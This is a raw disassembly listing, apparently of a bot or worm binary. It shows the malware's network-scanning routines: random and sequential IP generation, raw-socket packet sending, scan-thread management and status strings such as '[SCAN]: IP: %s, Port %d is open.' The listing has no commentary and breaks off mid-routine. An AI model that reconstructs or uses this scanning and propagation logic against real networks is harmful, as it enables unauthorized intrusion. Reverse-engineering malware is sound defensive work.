jnz short loc_4231C4 push offset aA ; " -a" mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset aB ; " -b" mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4231A5: ; CODE XREF: sub_422A40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 loc_4231BD: ; CODE XREF: sub_422A40+132j mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_4231C4: ; CODE XREF: sub_422A40+735j ; sub_422A40+745j ... mov ecx, dword_4D60CD lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h nop call near ptr 71AB951Eh push offset aA ; " -a" mov ecx, esi call sub_4013E3 mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax call near ptr 77C47A90h nop add esp, 0Ch mov ecx, esi push offset aR ; " -r" call sub_4013E3 test eax, eax jz short loc_42328B push offset aA ; " -a" mov ecx, esi call sub_4013E3 mov ebp, dword_50FA90 mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42327E loc_423262: ; CODE XREF: sub_422A40+83Cj test eax, eax jz short loc_42327E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423262 loc_42327E: ; CODE XREF: sub_422A40+820j ; sub_422A40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423296 ; --------------------------------------------------------------------------- loc_42328B: ; CODE XREF: sub_422A40+7F1j mov [esp+7A0h+var_630], 0 loc_423296: ; CODE XREF: sub_422A40+722j ; sub_422A40+849j mov edx, dword_4D60CD xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017E4 push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4232F8 mov eax, offset aSequential ; "sequential" loc_4232F8: ; CODE XREF: sub_422A40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44442Ah[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BD6 add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402261 mov al, 1 jmp loc_422E3B sub_422A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4235F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_446F70 mov ecx, offset dword_447998 setnz bl call sub_4014D3 push eax push ebx push ebx push offset byte_4D60B5 call sub_401848 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_444450[eax*4] inc ecx mov dword_444450[eax*4], ecx mov al, 1 retn sub_4235F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423660 proc near ; CODE XREF: sub_401DF7j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h nop call near ptr 71AB951Eh mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50DAE8 nop call sub_5EDAB2 mov eax, offset dword_50DAE8 add esp, 2Ch retn sub_423660 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423720 proc near ; CODE XREF: sub_401F37j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50BB90[esi*8] push eax nop call near ptr 71AB2BC0h inc eax push eax nop call near ptr 71AB2BC0h mov dword_50BB90[esi*8], eax pop esi retn sub_423720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423792 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423792: ; CODE XREF: sub_423760+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_50FABC add esp, 18h cmp eax, ebx jnz short loc_4237CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4237CA: ; CODE XREF: sub_423760+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4237D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4237D6: ; CODE XREF: sub_423760+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4237E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4237E2: ; CODE XREF: sub_423760+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4237EC call esi ; rand loc_4237EC: ; CODE XREF: sub_423760+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50BB90[ecx*8], eax pop ebx add esp, 10h retn sub_423760 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423850 proc near ; CODE XREF: sub_401E38j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42387E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42387E: ; CODE XREF: sub_423850+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax nop call near ptr 71AB2B66h lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi call near ptr 71AB2DC0h nop push esi mov edi, eax call near ptr 71AB9639h nop xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423940: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_436840 push ebx push ebp mov ebp, dword_50FC2C push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A28 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423A69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423B68 ; --------------------------------------------------------------------------- loc_423A69: ; CODE XREF: ___:00423A5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423AC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call sub_5EDAB2 lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423AC2: ; CODE XREF: ___:00423A87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423B13 mov edi, dword_50FC58 loc_423AEA: ; CODE XREF: ___:00423B11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423B42 cmp [esp+0FEh], bp jnz short loc_423AEA loc_423B13: ; CODE XREF: ___:00423AE2j push esi nop call near ptr 71AB9639h cmp word ptr [esp+10Eh], 1 jnz short loc_423B63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B42: ; CODE XREF: ___:00423B07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B63: ; CODE XREF: ___:00423B23j push offset dword_44467C loc_423B68: ; CODE XREF: ___:00423A64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423C10: ; CODE XREF: ___:loc_401F23j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 nop call near ptr 27D07CDh push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:448FCBh[eax*4] mov eax, dword_4491CF[eax*4] mov ecx, dword_50BB94[eax*8] test ecx, ecx jz loc_423EC4 mov ebx, off_50FBF0 loc_423C8C: ; CODE XREF: ___:00423EBAj mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423CA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423CAF ; --------------------------------------------------------------------------- loc_423CA7: ; CODE XREF: ___:00423C96j call sub_401F37 add esp, 4 loc_423CAF: ; CODE XREF: ___:00423CA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_50FC78 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5EDAB2 add esp, 18h lea ecx, [esp+220h] push ecx push ebp call ebx ; sub_5EDAB2 mov edx, [esp+138h] mov eax, [esp+134h] push edx push eax push esi call sub_401E38 add esp, 14h cmp eax, 1 jnz loc_423EA0 cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423DC2 push offset dword_50DAD0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5EDAB2 mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423DA2 mov al, [esp+0A8h] test al, al jz short loc_423D7D mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423D9A ; --------------------------------------------------------------------------- loc_423D7D: ; CODE XREF: ___:00423D59j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423D9A: ; CODE XREF: ___:00423D7Bj call sub_401523 add esp, 10h loc_423DA2: ; CODE XREF: ___:00423D4Ej lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50DAD0 nop call near ptr 7C9010EDh jmp loc_423EA0 ; --------------------------------------------------------------------------- loc_423DC2: ; CODE XREF: ___:00423D16j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5EDAB2 mov eax, [esp+150h] add esp, 8 lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+1F8h] lea edx, ds:444420h[ecx*4] push edx push eax call ebx ; sub_5EDAB2 mov al, [esp+0B0h] add esp, 8 test al, al jz short loc_423E12 lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423E1F ; --------------------------------------------------------------------------- loc_423E12: ; CODE XREF: ___:00423DFEj lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423E1F: ; CODE XREF: ___:00423E10j call ebx ; sub_5EDAB2 mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44444C[edx*4] add esp, 0BCh loc_423EA0: ; CODE XREF: ___:00423D08j ; ___:00423DBDj push 7D0h call near ptr 2811D0Bh nop mov eax, [ebp+204h] mov ecx, dword_50BB94[eax*8] test ecx, ecx jnz loc_423C8C mov esi, [esp+10h] loc_423EC4: ; CODE XREF: ___:00423C80j push esi call sub_401E24 add esp, 4 push 0 nop call near ptr 2820000h nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_402261j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50BB90[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_401483 add esp, 150h cmp eax, ebx jnz short loc_424021 push offset dword_50DAD0 call near ptr 2760000h nop push offset dword_50DAD0 nop call near ptr 27606B3h loc_424021: ; CODE XREF: ___:00424009j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_50F8D0 mov esi, ebx mov dword_50BB94[edx*8], ebx cmp eax, ebx mov ebx, off_50FBF0 jb loc_424150 mov edi, dword_50F860 loc_424052: ; CODE XREF: ___:0042414Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5EDAB2 push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BD6 lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F23 push 0 push 0 mov dword_4491CF[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_4491DF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_4491DF[eax*4] test ecx, ecx jz short loc_424118 mov eax, [esp+158h] test eax, eax jnz short loc_42413E loc_424107: ; CODE XREF: ___:00424114j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_424107 jmp short loc_42413E ; --------------------------------------------------------------------------- loc_424118: ; CODE XREF: ___:004240FAj nop call near ptr 27A08E0h push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5EDAB2 lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42413E: ; CODE XREF: ___:00424105j ; ___:00424116j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424052 loc_424150: ; CODE XREF: ___:00424046j mov eax, [esp+12Ch] test eax, eax jz short loc_42417E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_4241B1 ; --------------------------------------------------------------------------- loc_42417E: ; CODE XREF: ___:00424159j mov ecx, [esp+130h] mov esi, 1 cmp dword_50BB94[ecx*8], esi jnz short loc_4241B1 loc_424193: ; CODE XREF: ___:004241A8j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50BB94[edx*8], esi jz short loc_424193 mov eax, [esp+12Ch] loc_4241B1: ; CODE XREF: ___:0042417Cj ; ___:00424191j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50BB90[ecx*8] push ecx nop call near ptr 71AB3F41h push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5EDAB2 mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_424212 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_401523 add esp, 10h loc_424212: ; CODE XREF: ___:004241EBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50BB94[eax*8], 0 call ebp push 3 call sub_401483 add esp, 4 cmp eax, esi jnz short loc_424254 push offset dword_50DAD0 call near ptr 2760000h nop loc_424254: ; CODE XREF: ___:00424247j mov ecx, [esp+130h] push ecx call sub_401E24 add esp, 4 push 0 call near ptr 2820000h nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424330 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424330 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424350: ; CODE XREF: ___:004015E1j mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401834 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4243A0 proc near ; CODE XREF: sub_401834j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4243F2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4243F2: ; CODE XREF: sub_4243A0+16j mov eax, ebx pop ebp pop ebx retn 8 sub_4243A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_424420: ; CODE XREF: sub_4021D5j mov eax, [esp+8] push ebx mov ebx, ecx push ebp mov ecx, [esp+18h] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424494 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, [esp+18h] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+20h] mov esi, [esp+1Ch] lea edi, [edx+eax] mov eax, ecx ; --------------------------------------------------------------------------- dw 0E9C1h ; =============== S U B R O U T I N E ======================================= sub_42447C proc near ; DATA XREF: Themida_:loc_5A0180o add dh, bl movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h sub_42447C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424494: ; CODE XREF: ___:0042443Dj mov eax, ebx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4244C0 proc near ; CODE XREF: sub_4016B8j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4244D3 push eax call near ptr 77C2C21Bh nop add esp, 4 loc_4244D3: ; CODE XREF: sub_4244C0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4244C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_424517 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424517: ; CODE XREF: sub_424500+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424545 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424545: ; CODE XREF: sub_424500+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424574 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42458F ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42458F: ; CODE XREF: sub_424500+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_424500 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245F0 proc near ; CODE XREF: sub_401B68j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_446F74 lea ecx, [esp+20h+var_8] call sub_4021D5 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424635 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424635: ; CODE XREF: sub_4245F0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016B8 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016B8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4245F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4246D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424720 proc near ; CODE XREF: sub_402036j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424720 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424760 proc near ; CODE 